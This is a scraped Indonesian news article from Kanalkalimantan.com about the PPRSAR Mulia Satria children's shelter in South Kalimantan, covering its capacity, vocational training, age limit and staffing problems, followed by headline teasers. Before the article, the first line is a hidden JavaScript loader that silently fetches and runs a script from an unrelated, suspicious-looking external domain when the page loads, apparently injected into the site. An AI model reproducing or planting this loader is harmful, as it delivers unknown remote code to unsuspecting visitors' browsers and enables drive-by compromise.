(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Panti Perlindungan dan Rehabilitasi Sosial Anak dan Remaja (PPRSAR) Mulia Satria Provinsi Kalimantan Selatan (Kalsel) merupakan lembaga yang memberikan layanan pengasuhan kepada anak terlantar, balita terlantar, remaja terlantar dan anak berhadapan hukum, serta anak dengan perlindungan khusus.
Saat ini, PPRSAR Mulia Satria Kalsel ini dapat menampung sekira 200 orang anak yang diberikan pembinaan dan pelayanan pengasuhan kepada anak-anak sesuai Pergub No 5 Tahun 2022.
Kepala Seksi Pelayanan PPRSAR Mulia Satria Kalsel, Sacik Kartikawati mengatakan terhadap remaja terlantar pihaknya juga memberikan beberapa pelatihan keterampilan. Hal ini agar setelah keluar dari PPRSAR Mulia Satria bisa memiliki skill di dunia pekerjaan.
“Pelatihan keterampilan disini banyak, seperti bengkel sepeda motor, otomotif, mebel aluminium, barista, menjahit, komputer dan servis hp,” ungkapnya, Senin (5/12/2022).
Baca juga : Hati-hati Penipuan Modus Kiriman Paket Belanja Online, Saldo Rekening Perempuan di Banjarmasin Dikuras Puluhan Juta
Dalam pelayanan lembaga pengasuhan di PPRSAR Mulia Satria ini dikatakan Sacik anak tersebut harus berumur 18 tahun ke bawah.
“Karena kita sekarang disebut panti anak harus 18 tahun kebawah, seperti anak putus sekolah, tidak mampu dan sejenis, karena ini dari Dinas Sosial jadi gratis,” katanya.
Dalam memberikan pelayanan pengasuhan di PPRSAR Mulia Satria, Sacik mengakui banyak ditemukan banyak kendala. Seperti SDM yang masih terbatas dan tempat yang masih bercampur antara laki-laki dan perempuan untuk remaja.
“Selain itu kendala yang sering kami temukan seperti adaptasi anak-anak yang berbeda daerah, karena tempat ini tidak hanya terfokus untuk satu daerah, juga melayani ke 13 kabupaten/kota se Kalsel,” sebutnya.
Baca juga :Â 10 Warga Pesisir Diberangkatkan Umrah Gratis dari Polda Kalsel
Selain itu juga pihaknya memberikan pelayanan kepada anak-anak yang putus sekolah.
“Anak-anak juga di sekolahkan sesuai jenjang dari SD sampai SMA dan sekolahnya bukan di dalam (PPRSAR) melainkan di sekolah luar dan semuanya ditanggung pemerintah,” tandasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.